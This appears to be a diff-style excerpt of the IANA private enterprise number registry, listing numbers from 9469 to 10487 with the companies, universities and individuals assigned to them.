+9469 Starlab nv/sa
+9470 Alfa.con Team S.p.A.
+9471 PortWise AB
+9472 Jeje.org
+9473 SafeStone Technologies PLC
+9474 SIRT
+9475 365 Corporation
+9476 ESRF
+9477 Market Central, Inc.
+9478 MyLuckyWorld
+9479 WebCollage
+9480 Notus Key Limited
+9481 Backer Software Research
+9482 ENS-Lyon
+9483 PSI AG
+9484 ision france
+9485 FUTUROCOM
+9486 Powwow Germany GmbH
+9487 saardata GmbH
+9488 Circuit City Stores
+9489 SAXA, Inc. (formerly 'Taiko Electric Works, LTD')
+9490 Scorecon International
+9491 VECTAN
+9492 The Cobalt Group
+9493 iOpen Technologies Ltd.
+9494 IFILM
+9495 etee2k.net
+9496 AT&T Enhanced Network Services
+9497 IDini Corporation
+9498 Telekommunikation Mittleres Ruhrgebiet GmbH
+9499 Exacube System Inc.
+9500 Byte Alliance
+9501 SVA-INTRUSION.COM Co. LTD
+9502 Ross Technology Group, Inc.
+9503 Telemovil El Salvador
+9504 tops.net GmbH & Co Online Publishing Services KG
+9505 bone labs GmbH
+9506 Real Solutions Ltd.
+9507 Wharton Electronics
+9508 MobileSpear Inc.
+9509 Enkash Payment Network
+9510 KONSYS
+9511 Vulkan Technic GmbH
+9512 Online Consulting, Ltd.
+9513 Exacomm Systems
+9514 Konica Business Technologies, Inc.
+9515 Sugar Creek Packing Co.
+9516 Digital World Services
+9517 Sanrise Inc
+9518 Pratt & Whitney
+9519 Soward Network Solutions
+9520 Phase2 Software Corp
+9521 PED Computers
+9522 Personeta
+9523 ST E15
+9524 Andiamo Systems, Inc
+9525 BBC Monitoring
+9526 Shawmut Design & Construction
+9527 Inkras Networks Corporation
+9528 Iyago
+9529 Global Relay Inc.
+9530 CQUR . COM
+9531 Integra Telecom
+9532 Group 1 Software
+9533 TrueDisk
+9534 Handrew
+9535 Zurita Solutions
+9536 Massey University
+9537 Navox Corporation
+9538 StorageWay Inc.
+9539 STSN
+9540 Altentia
+9541 Lokaal Netwerk Gravenstraat
+9542 College of Engineering and Computer Science
+9543 Schwoo, Inc.
+9544 Electrical and Computer Engineering Dept., UBC
+9545 State Street Corp.
+9546 Dominet Systems
+9547 foo Corporation
+9548 Datachron Inc.
+9549 Southern Network Services, Inc.
+9550 vox2vox Communications, Inc.
+9551 Kompu-Art Studiu Komputerowe
+9552 Financial IQ Pty Ltd
+9553 Automaton Ltd
+9554 Clear River Technologies, LLC
+9555 AsiaInfo Technologies(China), Inc.
+9556 Great Wall Broadbank Network Service Co.Lt
+9557 Synso Inc.
+9558 Kent Ridge Digital Labs
+9559 National Security Research Institute
+9560 SECUI
+9561 Netia Telekom S.A.
+9562 Magnum Imperium Limited
+9563 Suffolk College
+9564 mediaWays GmbH Internet-Services
+9565 Xerox Mobile Solutions
+9566 HBO-CE
+9567 Skilldeal AG
+9568 DataGrid
+9569 MGF Logistique
+9570 University of Leoben/Austria
+9571 Erskine Systems Ltd
+9572 AlienThing.com
+9573 MB-NET
+9574 NCIC Clinical Trials
+9575 Grupo de Programação na Web(WPG)
+9576 Crédit Mutuel de Bretagne
+9577 Xtelligent IT Consulting GmbH
+9578 Mission Critical Linux, Inc.
+9579 Followap
+9580 New Hemisphere Computer Services
+9581 Quad One Technologies Pvt. Ltd.
+9582 CCS Communications Pty. Ltd.
+9583 BBC Technology Supply Ltd
+9584 Lucent Technologies NADP
+9585 National Enhance Technology Corp.
+9586 Debian
+9587 Global Trust Authority
+9588 IT Insourcing
+9589 Currenex, Inc.
+9590 The MathWorks Inc.
+9591 Thinking Cat Enterprises
+9592 Luke Crawford Enterprises
+9593 SysNet Informática Ltda
+9594 Tape Products Company
+9595 Zephion Networks
+9596 PimpCode
+9597 Blue Silicon
+9598 MBNA America
+9599 LDAPGURU.COM LLC
+9600 Williams Technology Consulting Services
+9601 Keewaytinook Okimakanak
+9602 Zoftech Inc.
+9603 AF Enterprises
+9604 afuu
+9605 Xyterra Computing Inc
+9606 Linvision B.V.
+9607 MSTC
+9608 ntelsOh
+9609 Impaster Co. Ltd
+9610 Milosch.net
+9611 Infosim
+9612 Kobe Steel, Ltd.
+9613 nlsde
+9614 GoCruiseDirect.com
+9615 Danfoss A/S
+9616 Kreatel Communications AB
+9617 GSX Groupware Solutions
+9618 Utrechtse Werkbedrijven
+9619 Nextra Austria
+9620 National Land Survey of Finland
+9621 MOLO AFRIKA SPEECH TECHNOLOGIES
+9622 QuesCom
+9623 Copenhagen Airports
+9624 Radianz
+9625 Utesch
+9626 Alessandro Triglia
+9627 S J Shipinski Services
+9628 Groupe CASINO
+9629 Mastermind Technologies
+9630 e-moveum
+9631 eSniff, Inc.
+9632 Individual
+9633 Calian, Ltd.
+9634 API Networks, Inc
+9635 Tropico Sistemas e Telecomunica=E7=F5es SA
+9636 netFORMAT GmbH
+9637 Alliance & Leicester PLC
+9638 AlphaGraphics, Inc.
+9639 Appium AB
+9640 Astrolink International LLC
+9641 Azusa Pacific University
+9642 Bibop Research, int. S.p.A. Gianugo
+9643 CEULP/ULBRA
+9644 Unassigned
+9645 courtade.net
+9646 Eaton - Cooper Industries (Electrical) Inc. (formerly 'Cybectec')
+9647 EWIP
+9648 GeekBone Co. LTD
+9649 Hochschule Bremen
+9650 Infoclan
+9651 Kele
+9652 LNS SA
+9653 Mosotech Limited
+9654 NIC France
+9655 Optidev AB
+9656 Routit BV
+9657 S://Scape Communications Inc.
+9658 Solers
+9659 Synapsys Ltd
+9660 Telecel Comunicações pessoais S.A
+9661 Teletron INC
+9662 TUEV-AT-TRUST Center GmbH
+9663 UNIVERSITE LUMIERE LYON2
+9664 Widgital
+9665 ZyGATE Communications Inc.
+9666 Alcatel Optronics
+9667 Austar United
+9668 Talent Network Security Technology Co., Ltd.
+9669 University of London
+9670 BROADi
+9671 Time Warner
+9672 Apropos Technology, Inc.
+9673 Denison University
+9674 Fingerhut
+9675 Grupo Financiero Uno
+9676 hottis.de
+9677 Hydriads
+9678 K.U. Leuven
+9679 mBalance
+9680 SelectMetrics, Inc.
+9681 Mortgage Systems International
+9682 Novadeck
+9683 Plattsburgh State University
+9684 PoweriseNet
+9685 Ranch Networks, Inc.
+9686 Ruby Networks, Inc.
+9687 SAProperty.com
+9688 Tahoe Networks, Inc.
+9689 TBD Networks
+9690 Terralab
+9691 Children's Hospital Colorado (formerly 'The Children's Hospital of Denver')
+9692 Tool Object
+9693 UND School of Medicine and Health Sciences
+9694 Arbor Networks
+9695 Encotone Ltd.
+9696 Uffizio India Software Consultants Pvt. Ltd.
+9697 Accelance
+9698 AIA Australia
+9699 Axis Consulting
+9700 Boehringer-Ingelheim GmbH
+9701 Commerce NTI
+9702 Comtech Belgium
+9703 Datafoundation Inc.Valerii
+9704 Diversified Resourceful Solutions Inc.
+9705 ecos gmbh
+9706 HackersLab
+9707 Institut National Polytechnique de Lorraine
+9708 Jack Morton Worldwide
+9709 Micro Connect Pty Ltd
+9710 Monzoon Networks AG
+9711 Novedia
+9712 obzen Inc.
+9713 Opera Software AS
+9714 Ruhrsoft
+9715 Sigma AB
+9716 State of North Dakota
+9717 Teleca AB
+9718 TransACT Communications
+9719 Tronicplanet Online Datendienst GmbH
+9720 Tryx
+9721 VWR International
+9722 Workhorse Computing
+9723 Coradiant
+9724 Datacast Inc.
+9725 INFOservice
+9726 Nitroba
+9727 Tryllian
+9728 WWF Wort + Ton GmbH e-media
+9729 EVERelite, Co., Ltd.
+9730 Solutus Pty Limited
+9731 5down
+9732 Adrenaline Ingenierie Multimedia
+9733 Aral Systems GmbH
+9734 Astrum Software Corporation
+9735 Coredump Ky
+9736 Dublin City University
+9737 Fourtheye
+9738 Gedoplan GmbH
+9739 Hobnobbers.net
+9740 iBEAM Broadcasting Corporation
+9741 Keiren
+9742 DESCOM CONSULTING, S.L.
+9743 NCHICA
+9744 peoplecall.com
+9745 Radix Controls Inc.
+9746 RFNet Technologies Pte Ltd
+9747 RoamingTest Ltd
+9748 ROW Software and Web Design
+9749 SpectraLink Corporation
+9750 The Pillars
+9751 Trevilon Corp.
+9752 University of Missouri
+9753 Vernier Networks, Inc.
+9754 Vertis DSG Chicago
+9755 Webasto Informationssysteme GmbH
+9756 woerd Erdmenger & Wolter GbR
+9757 Aral Aktiengesellschaft & Co. KG
+9758 Metadigm Ltd
+9759 Aplicaciones y Consultoria, S.A. de C.V.
+9760 Cellcast
+9761 Corporate Express
+9762 Datacom Systems Inc.
+9763 Eonite, Inc.
+9764 Forschungszentrum Rossendorf e.V.
+9765 ILRYUNG TELESYS
+9766 Joseph S Dovgan DDS MS
+9767 Lectron CO., LTD
+9768 Lynchburg College
+9769 Nuance Communications
+9770 OpenOffice.org
+9771 PAION Co. Ltd.,
+9772 pentasecurity
+9773 SpunHead Industries
+9774 Streets Online Ltd.
+9775 TNT Software, Inc.
+9776 Wireless Network Services
+9777 Arelnet Ltd.
+9778 AxONLink
+9779 Empire State College
+9780 Entreprise des Postes et Telecommunications
+9781 Jerntorget Sverige AB
+9782 JM Family Enterprises, Inc.
+9783 Vayusphere, Inc.
+9784 icoserve information technologies
+9785 Praxis Technical Group, Inc.
+9786 A.I.S. AngewandteInformations-Systeme GmbH
+9787 ActiveState Corp.
+9788 Advisor Technologies Limited
+9789 Astaro AG
+9790 Australia On Line
+9791 Centre de Telecomunicacions i Tecnologies de la Informacio
+9792 Clayhill KG
+9793 CloudShield Technologies, Inc.
+9794 CYTBeN
+9795 EBS Dealing Resources, Inc
+9796 ENX Association (formerly 'European Network Exchange')
+9797 EVER Sp. z o.o.
+9798 Griff-IT Ltd.
+9799 Holos Software, Inc.
+9800 iNIT-8
+9801 ISIS Frontier Communications
+9802 IUFM de Rouen
+9803 L-3 Communication Systems - East
+9804 Lefthand Networks
+9805 Neveda City School District
+9806 PRIDE Industries
+9807 Prism Holding Limited
+9808 Rocklea Spinning Mills Pty Ltd
+9809 Root, Int.
+9810 Sagent
+9811 Secure Appliance Systems
+9812 SolNet
+9813 TAB Queensland Limited
+9814 Telia IT-Service AB
+9815 VSpace, Inc.
+9816 WANWALL
+9817 WaveNET International (Pvt) Ltd.
+9818 Xwave GmbH
+9819 yLez Technologies Pte Ltd
+9820 ZOX-IT
+9821 Zoznam s.r.o.
+9822 Accella Technologies Co., Ltd
+9823 Diageo
+9824 GenTek
+9825 Geospiza Inc.
+9826 ImagiCode Studios
+9827 Neocles
+9828 pgamAPD
+9829 SAIT Ltd
+9830 Thunderbird, the American Graduate School of International Management
+9831 Vivre Inc
+9832 solobird
+9833 Legend Holdings Ltd.
+9834 Agencja Uslug InformatycznychARTCOMP
+9835 Alien Network
+9836 AOK Bayern
+9837 Ball State University
+9838 Broadview Networks, Inc.
+9839 CAREL
+9840 carreregroup
+9841 Christian Dusek EDV-Dienstleistungen
+9842 ET Networks
+9843 Kai Industries
+9844 Kansas State University
+9845 LANBIRD Technology Co., Ltd.
+9846 LIP - Laboratório de Instrumentação e Física Experimental de Partículas
+9847 Listen.com
+9848 Lou Johnson
+9849 M-Web Indonesia
+9850 NextGig
+9851 NTT SOFT
+9852 Odigo Inc
+9853 Payment Technologies
+9854 Red Box Recorders Limited
+9855 Shawsoft GmbH
+9856 UCLA Communications Technology Services
+9857 Unicom an e-security company
+9858 University of Maryland, Baltimore County
+9859 University of Medicine and Dentistry of New Jersey
+9860 Vizional Technologies, Inc.
+9861 Webdesign Internet Service GmbH
+9862 Claredi Corporation
+9863 DataRojahn A/S
+9864 J Walter Thomposon Company
+9865 Karmanos Cancer Institute
+9866 Outokumpu Oyj
+9867 Third Rail Americas
+9868 Millinet Co., Ltd
+9869 Network Laboratory of Nankai University
+9870 graviton, Inc.
+9871 Findlater Wine Merchants
+9872 GEZ
+9873 Viterra AG
+9874 Ã…bo Akademi University
+9875 AVAILABLE SUPPLY Inc.
+9876 B2I Toulouse
+9877 California State University, East Bay
+9878 CareGroup HealthCare System
+9879 Cox Communications, Las Vegas
+9880 Data Junction Corporation
+9881 Eita Technologies, Inc.
+9882 Flash Technology
+9883 Free Trade Online
+9884 Frost-EDV
+9885 Green Packet, Inc.
+9886 Incendiary Networks
+9887 Kristina Internet Business Solutions
+9888 Linux Terminal Server Project (LTSP)
+9889 Winpresa Building Automation Technologies GmbH
+9890 Media General Inc
+9891 Mensatec
+9892 Oregon Graduate Institute of Science and Technology
+9893 Paranormal Sweden
+9894 Polestar Corp.
+9895 Project49 AG
+9896 R&R Associés
+9897 Seranoa Networks
+9898 Shindengen Electric Mfg. Co., Ltd.
+9899 Stinnes AG
+9900 Telekom Applied Business Sdn. Bhd.
+9901 The College of William and Mary
+9902 The University of Chicago
+9903 TI SQUARE Technology
+9904 University of Nebraska
+9905 Volubill
+9906 Xtera Communications Inc.
+9907 Akkaya Consulting GmbH
+9908 HiTRUST.COM (HK) Incorporated Limited
+9909 Pacific Technology Services
+9910 Absolute Software Corp.
+9911 Bantu, Inc.
+9912 Baraga Telephone Company
+9913 Cerebra Intergrated Technologies Ltd.
+9914 Charter Communications
+9915 Commtouch Software Ltd
+9916 Datek Online Holdings Corp.
+9917 Corecard Software
+9918 National Oceanic and Atmospheric Administration (NOAA)
+9919 earth9.com Pte Ltd
+9920 ENETCO GmbH
+9921 ERGO Versicherungsgruppe AG
+9922 eSign Australia Limited
+9923 European Southern Observatory
+9924 Excite UK Ltd
+9925 Finest Webs
+9926 Genie Network Resource Management
+9927 Icehouse Net Services
+9928 Inetrify
+9929 Integral Concepts, Inc.
+9930 InterNexus Plc
+9931 Inti
+9932 IPFilter
+9933 JAARS, Inc
+9934 JANUS Research Group
+9935 Louisiana Tech University
+9936 massconfusion.com
+9937 MaXXan Systems, Inc.
+9938 Mercury Corporation
+9939 merNet Security
+9940 Nine Tiles
+9941 Objective Reality Computer LLC
+9942 Optimation Software Engineering
+9943 Prometheon, Inc.
+9944 SIAS Ltd
+9945 Siemens Business Services AB
+9946 SoftSol India Limitedn
+9947 Swales Aerospace, Inc.
+9948 Telekurier GesmbH & Co KG
+9949 Ubiquitous Corp.
+9950 Visionary Communications Inc.
+9951 Wireless M2M, LLC
+9952 WuhanTIT
+9953 Bertelsmann Gamechannel
+9954 craigbuchek.com
+9955 Crisp Hughes Evans L.L.P.
+9956 NDS Surgical Imaging (formerly 'Planar Systems, Inc.')
+9957 Dynamic Equilibrium Pty Ltd
+9958 Formula/400
+9959 NODS
+9960 iOpsMon (formerly 'nuisys.com')
+9961 FundsXpress Financial Network
+9962 VirCIO, LLP
+9963 Advanced Computer Technologies (ACT) Inc.
+9964 50km Inc.
+9965 Amministrazione Provinciale di Grosseto
+9966 Beijing Huahuan Electronics Ltd.
+9967 Bluesocket, Inc.
+9968 British Antarctic Survey
+9969 Condat AG
+9970 Custodix NV
+9971 CyberTel, Inc.
+9972 Emulive Imaging Corporation Inc.
+9973 Flexsys (UK) Ltd
+9974 Internet Transaction Services, Inc.(iTrans)
+9975 J.W. Jensen, Inc.
+9976 Flexsys Inc
+9977 jobpilot AG
+9978 Linuxkorea, Inc.
+9979 Mabuse.De
+9980 M-Web South Africa
+9981 NeT&Trade GmbH
+9982 netEngine
+9983 Netstech, Inc.
+9984 Osmosislatina
+9985 RIC
+9986 Sencore
+9987 Signet
+9988 Smart Technology Enablers, Inc.
+9989 Stochastix
+9990 Stonebranch, Incorporated
+9991 synchrone
+9992 Terion
+9993 Terumo Medical Corporation
+9994 The Linux Box Corporation
+9995 ThinkEngine Networks, Inc.
+9996 Villanova University
+9997 Virtual e-learning group (VEG)
+9998 Wynd Communications
+9999 Zerna, Koepper & Partner
+10000 MapInfo Corporation
+10001 blio Corporation
+10002 Frogfoot Networks
+10003 IP ONE Inc.
+10004 johnchildress.com
+10005 Pure NetworX GmbH
+10006 SANTON
+10007 RF Innovations Pty Ltd
+10008 Groupe ESIEE Paris
+10009 KrystalBox Technologies, Inc.
+10010 Network Storage Solutions, Inc.
+10011 Advanced Simulation Technology Inc
+10012 Alternium SA
+10013 caledo GmbH
+10014 CERIAS
+10015 Certification Centre Ltd
+10016 Computer & Communications Innovations
+10017 CREWAVE Co., Ltd.
+10018 Double Precision, Inc.
+10019 Fen Systems Ltd.
+10020 Globe
+10021 Good Technology, Inc.
+10022 Iconnect
+10023 IMA L.t.d.
+10024 Integrated Technology Express, Inc
+10025 Interland, Inc.
+10026 Interloci,Inc.
+10027 Internet Data Systems S.A.
+10028 level 42 networks
+10029 Men & Mice
+10030 Mudiaga Obada
+10031 NIIEFA CTC CYCLONE
+10032 ONEMEDIA Inc.
+10033 OpenSOS S/B
+10034 OSIX AB
+10035 SAY Technologies, Inc.
+10036 Times N Systems
+10037 Ultimate People Company Ltd
+10038 University of Texas Health Science Center at San Antonio
+10039 Videotek, Inc.
+10040 Yonsei University
+10041 ZONE. PL s.c.
+10042 comma Flex
+10043 eTime Capital, Inc.
+10044 FRB-Par
+10045 NetFormFive Informationstechnologie GmbH
+10046 Protek, S.C.
+10047 Servocomp Ltd.
+10048 VXL eTech (P) Limited
+10049 WebRelay, Inc.
+10050 Dana Corporation
+10051 Eftia OSS Solutions Inc
+10052 Electronic Commerce Link, Inc.
+10053 keys
+10054 NetValue S.A.
+10055 Roaring Penguin Software Inc.
+10056 AppDancer Networks
+10057 EMTE Sistemas
+10058 HAURI Inc.
+10059 SANRAD
+10060 SELTA S.p.A.
+10061 Pacific Info Tech Corp.
+10062 Comsquared Systems, Inc.
+10063 Aaron Grosky & Associates Inc
+10064 ASH
+10065 Ironoak Software
+10066 Digital Multimedia Technologies
+10067 DVTEL Inc.
+10068 E-OfficeServices Ltd.
+10069 Epsilon AB
+10070 Flashwave Ltd
+10071 GINKO AG
+10072 GW Technologies Co., Ltd.
+10073 HanseNet Telekommunikation GmbH
+10074 Ikimbo
+10075 Infodyne Corporation
+10076 Institutions of the European Union
+10077 MbyN Inc.
+10078 Medienprojektverein Steiermark
+10079 Metrosource, Inc.
+10080 Microcell I5 Inc.
+10081 NrjCorporation
+10082 Oculus Technologies Corporation
+10083 Panda Vista
+10084 Priority Telecom N.V. Roger
+10085 Prove IT
+10086 Segue Software, Inc.
+10087 SilentOne Limited
+10088 Techno Valley Co.
+10089 Tek Tools, Inc.
+10090 The ClueNet Project
+10091 Transfar
+10092 Unassigned
+10093 unamite GmbH
+10094 University of Novi Sad
+10095 Wickander & Associates
+10096 Baxter Healthcare Corporation
+10097 ECI-IP Inc.
+10098 Gonicus GmbH
+10099 humanIT
+10100 onDevice Corporation
+10101 Mirai Espana, S.L.
+10102 Alt-N Technologies
+10103 Lewis Curtis Consulting
+10104 eBOA
+10105 Lawson Software
+10106 Albalá Ingenieros, S.A
+10107 1stCom Technologies Corp.
+10108 7 Global Ltd
+10109 Active Telecom
+10110 Agile Storage, Inc.
+10111 Get Connected
+10112 APLcomp Oy
+10113 ApplianceWare Inc.
+10114 Artesia Technologies
+10115 ARTFUL
+10116 Auga ApS
+10117 Axerra Networks, Inc.
+10118 BenefitsXML, Inc.
+10119 BigBangwidth
+10120 BRTech
+10121 CLEAR Communications Ltd
+10122 Creatia Corporation
+10123 Crimco Consulting
+10124 CUST - Université Blaise Pascal (Clermont II)
+10125 cyberPIXIE, Inc.
+10126 DAASI International GmbH
+10127 Desana Systems Incorporated
+10128 DISA
+10129 DiscoverNet, Inc.
+10130 Ecole Centrale de Lyon
+10131 EINK
+10132 EM Solutions Pty Ltd
+10133 FedEx
+10134 FerraraLUG
+10135 Front Porch Inc.
+10136 godot communication technologies gmbh
+10137 GTMP Foundation
+10138 i2pi
+10139 i3sp
+10140 INCO Systems, Inc.
+10141 Infinisys Pty Ltd
+10142 Interdimensions
+10143 Introut Consulting
+10144 iORMYX
+10145 Backman Writing Services
+10146 Kern Automatiseringsdiensten BV
+10147 Lancaster-Lebanon Intermediate Unit 13
+10148 Lightel Systems Corporation
+10149 LineOne
+10150 Logic One Incorporated
+10151 Multimedia University
+10152 Muspellsheim
+10153 Net2Phone
+10154 NetPlay, Inc.
+10155 Northern Parklife Inc
+10156 Novoforum
+10157 Onnet Technologies Co.
+10158 PanAmSat
+10159 Panasas Inc.
+10160 Penn State Outreach Information Systems
+10161 PictureIQ
+10162 poland.com SA
+10163 Remedy Corporation
+10164 Roads and Traffic Authority (RTA)
+10165 Robert Williams Consulting
+10166 Secure Software Services ltd
+10167 Siemens Communications Limited
+10168 Space Biomedical Center
+10169 Suayan Design
+10170 Telemig Celular S.A.
+10171 Telsey
+10172 Territory Business Solutions Pty. Ltd.
+10173 Texil
+10174 The Chubb Group of Insurance Companies
+10175 Traffion Technologies
+10176 Univention
+10177 University of Northern Iowa
+10178 Western Kentucky University
+10179 Wireless Solutions
+10180 Am-utils Organization
+10181 Cardinal Health Inc.
+10182 futureLAB AG
+10183 Master Quality snc
+10184 QCOM TV, Inc.
+10185 SMP
+10186 Weinbrenner Media Consult
+10187 Teleview
+10188 Piolink, Inc
+10189 Congruency, Inc.
+10190 AEGMIS GmbH
+10191 DivergeNet, Inc.
+10192 E.ON Energie AG
+10193 erkle
+10194 is:energy
+10195 SH Soft
+10196 www.thinkingmachines.com
+10197 Vovtel Networks, Inc.
+10198 Carroll-Net, Inc.
+10199 projecthome limited
+10200 i-mail-box project
+10201 Eftel
+10202 GFT Solutions
+10203 Winter AG
+10204 Shanghai SCOP Photonics Technology Co. ltd
+10205 Apama
+10206 ePIK'us Software
+10207 Hilgraeve Inc.
+10208 Valnet Sado S.A.
+10209 Andes Networks, Inc.
+10210 AXS-One
+10211 BENAU A/S
+10212 Cutler & Company
+10213 Meriton Networks
+10214 ENIGMA SOI SP. Z O.O.
+10215 FORWARD Technical Co.Ltd
+10216 Frantic Films
+10217 HotDiary Inc
+10218 Hsufarm
+10219 I.D.E.A.L. Technology Corporation
+10220 IFW Dresden
+10221 IMPACT TECHNOLOGIES
+10222 InfiniCon Systems
+10223 Leo A Daly Company
+10224 Lufthansa Systems Infratec GmbH
+10225 Marrakech Ltd.
+10226 MyDN
+10227 Neesus Datacom
+10228 Net & Publication Consultance GmbH
+10229 Netgate s.c.
+10230 Oriole Corporation
+10231 Proficient Networks, Inc.
+10232 Signiant Corporation
+10233 Silicon Goblin Technologies
+10234 Snort.org
+10235 Startrack Communications (Australia)Pty Ltd
+10236 Studio komputerowe AWA
+10237 Sullins, Inc.
+10238 Technische Universitaet Berlin (TU-Berlin)
+10239 Tess SA
+10240 TransNational Computer Technology
+10241 TRPG Association
+10242 University of Brighton
+10243 Uplogix.com
+10244 VALIDATA
+10245 Valiosys SA
+10246 Virtual Education Space
+10247 CollegeUnits.com, Inc.
+10248 E.Central, Inc
+10249 CINtel Intelligent Telecom System Co.,Ltd.
+10250 NegativeTwenty
+10251 Warlock
+10252 Diagnostic Laboratory Services, Inc.
+10253 Napster, Inc.
+10254 Texuna Technologies Moscow
+10255 Infoquenz IT-Dienstleistungen GmbH
+10256 ScioByte GmbH
+10257 Vocanter LLC
+10258 Aracnet Internet Services
+10259 Avtec Systems, Inc.
+10260 BeamReach Networks
+10261 Cedar Point Communications
+10262 CNC Systems, Inc.
+10263 Custom Linux Solutions
+10264 DATA & INFORMATION TECHNOLOGY LTD
+10265 Deltathree, Inc
+10266 DIZ Rheinland-Pfalz
+10267 Electro Optic Systems
+10268 Enterprise Commerce
+10269 ePropose
+10270 ES-Netze
+10271 Forgent
+10272 Future Instrument AB
+10273 Giant Step Productions LLC
+10274 HEXAFLUX-SMS
+10275 Master a Distancia
+10276 MSI Network Services, Ltd.
+10277 Multnomah Education Service District
+10278 NetAcquire Corporation
+10279 Object Valley (Asia Pacific) Limited
+10280 Quixotech Systems
+10281 SELECT Technology
+10282 SpeedKom GmbH
+10283 TABCORP
+10284 Thomas Jefferson University
+10285 Trenitalia S.p.A.
+10286 Trintech Inc.
+10287 University At Albany
+10288 Vox Mobili
+10289 Yukyung Telecom Co., Ltd.
+10290 Internet Business Constellation S.A.
+10291 j-m-f.demon.co.uk
+10292 Laissez Faire City
+10293 LINKAGE SYSTEM INTEGERATION CO.,LTD
+10294 DATA SERVICE SRL
+10295 iSOLUTION
+10296 ITI Ltd.
+10297 Advantech Co., Ltd.
+10298 Arbeitsgemeinschaft fuer total abgehobene Technologie
+10299 Avantia, Inc
+10300 Avantron Technologies Inc.
+10301 Bluesocket Ltd
+10302 Galaxy Systems, Incorporated
+10303 ist isdn support technik GmbH
+10304 LGT Financial Services
+10305 Magnifix Sdn Bhd
+10306 MSO Technologies
+10307 Optical Solutions Inc
+10308 OSGi
+10309 SOHO Skyway
+10310 tang-IT Consulting GmbH
+10311 Kerio Technologies
+10312 Translogic Systems, Inc.
+10313 Autinform GmbH
+10314 Provenir
+10315 Prima e.V.
+10316 Rafael Ltd.
+10317 Nanum Technology
+10318 SaskTel International Ltd.
+10319 Semantics AG
+10320 Amherst College
+10321 AUNet
+10322 Centre For Advanced Technology
+10323 Convergence Network Research Ltd.
+10324 CrabusLDAP
+10325 EarthConnect Corporation
+10326 Ecole Nationale Superieure des Mines de Paris
+10327 FiberCity Networks
+10328 Globeflow SA
+10329 Integra Micro Systems (P) Ltd.
+10330 KaVaDo Inc.
+10331 Lightning Data Networks
+10332 MaxHosting GBR
+10333 MetaNet
+10334 Mischief Networking
+10335 RLM Systems Pty. Ltd.
+10336 Summit Tech Communications
+10337 Valis LTD
+10338 Locale Systems
+10339 StarRemote Wireless, Inc.
+10340 Indiana State University
+10341 Klinik Loewenstein gGmbH
+10342 Miami University
+10343 NetExcell
+10344 Netregistry Pty Ltd
+10345 Newport Networks Limitd
+10346 OmegaBand, Inc.
+10347 Plustream, Inc.
+10348 SOFTPRO GmbH & Co. KG
+10349 Sysgem AG
+10350 System Software Solutions
+10351 Oblivion
+10352 Retevisión Móvil, S.A.
+10353 InnoCom
+10354 Brewster Academy
+10355 ITAction
+10356 Target Revocable E-Mail Corporation
+10357 Roy S. Rapoport
+10358 Accelio Corporation
+10359 Adtel Software
+10360 AgesMUD Technology, Co., Ltd.
+10361 Bharat Heavy Electricals Limited
+10362 BluWare, Inc
+10363 Catbird Networks
+10364 Central Manchester City Learning Center
+10365 Davox Corp.
+10366 Dialpad Communications
+10367 donnie21
+10368 Fujitsu Technology Solutions GmbH (formerly 'Fujitsu Siemens Computers')
+10369 Fujitsu Prime Software Technologies Ltd.
+10370 Impulsesoft
+10371 Inabyte Inc.
+10372 Intelligent Appliance Lab
+10373 Le Reseau
+10374 Lifeline Systems Inc
+10375 Makina Corpus
+10376 NETFRONT
+10377 OnMobile System Inc
+10378 PacketVideo
+10379 Princeton Solutions Group
+10380 TeleSys Software, Inc.
+10381 TrendPoint Systems
+10382 UCNET
+10383 Universite de Liege
+10384 Virginia Commonwealth University
+10385 Westronic Systems, Inc.
+10386 YoungWoo Telecom Co., LTD
+10387 Dongah Elecomm
+10388 Supportcomm Teleinformatica SA
+10389 Intabo
+10390 DELTA, Danish Electronics, Light & Acoustics
+10391 Bharat Sanchar Nigam Limited
+10392 Abeona Networks
+10393 APEH
+10394 Banamex, S.A.
+10395 Belo Corporation
+10396 California State University, Office of the Chancellor
+10397 CK Software GmbH (formerly 'CKSOFT, Christian Kratzer Software Entwicklung und Vertrieb')
+10398 Covasoft, Inc.
+10399 Datakey
+10400 Electric Lightwave, Inc.
+10401 Ideo Concepts Co. Ltd.
+10402 interdev
+10403 Istituto Nazionale di Fisica Nucleare
+10404 LivingLogic AG
+10405 Mental Health Cooperative, Inc.
+10406 Neural Audio, Inc.
+10407 North Coast Software
+10408 Percula Consulting GmbH
+10409 Tellurian Pty Ltd
+10410 The Falcon's Nest
+10411 University of North Carolina at Chapel Hill
+10412 aTelo, Inc.
+10413 System Innovations, Inc.
+10414 Brauerei C. & A. Veltins GmbH & Co.
+10415 3GPP
+10416 ABC Virtual Communications
+10417 Amerion, LLC
+10418 Avocent Corporation
+10419 Bactol Technical Limited
+10420 Bayerisches Landeskriminalamt Abt. IuK
+10421 C-CURE cvba
+10422 China PTIC Information Industry Corporation
+10423 CityXpress Corp.
+10424 Cricket Communications
+10425 Electricity Generating Authority of Thailand
+10426 Elex NV
+10427 Embrace Networks
+10428 Furukawa Electric LatAm S.A (formerly 'Furukawa Industrial S.A. - Curitiba')
+10429 Gelwarg.Net
+10430 globalremote.com AG
+10431 Ingenieurbuero Kittelberger GmbH
+10432 Mott Community College
+10433 MuTek Solution Inc.
+10434 NIKHEF
+10435 Omnitel
+10436 Oxford university
+10437 Peppercon AG
+10438 Portima SC
+10439 Power Measurement Ltd
+10440 Rose I.T. Solutions
+10441 Silas Technologies, Inc.
+10442 Spider Networks
+10443 Three Pillars
+10444 tichen.net
+10445 Trillium Photonics
+10446 Trinity Expert Systems plc
+10447 University of Mississippi
+10448 University of Puget Sound
+10449 Xceedium, Inc.
+10450 Altamar Networks
+10451 Boston Market Corporation
+10452 Egton Medical Information Systems Ltd
+10453 IL JIN TELECOM ELEC.CO., Ltd.
+10454 Optical Crossing Inc
+10455 Paradigm
+10456 PLANET Technology Corp.
+10457 DB Informatik Dienste GmbH
+10458 2000-X Technologies, Inc.
+10459 Hexin Software
+10460 HiSolutions AG
+10461 Tixo Consulting
+10462 Atek Ltd.
+10463 DEVK Versicherungen
+10464 elata plc
+10465 Flypaper
+10466 Holim Technology
+10467 Ingenieurbüro Jörg Geistmann
+10468 IRTNOG
+10469 Lidcam Technology Pty Ltd
+10470 Media Brokers International
+10471 OpenFortress
+10472 Recourse Technologies, Inc.
+10473 SEB AB
+10474 Servlets.Net Corporation
+10475 Slovak University of Agriculture
+10476 Summit Media Partners, LLC
+10477 Telephony@Work Inc.
+10478 Transeonic Systems, Inc.
+10479 Web Services, Inc.
+10480 Wily Technology
+10481 AlJISR Information Services
+10482 Nortel
+10483 Winalysis Software
+10484 TF1 sa
+10485 About Web Services
+10486 Aspelle Ltd
+10487 Business Information Publications
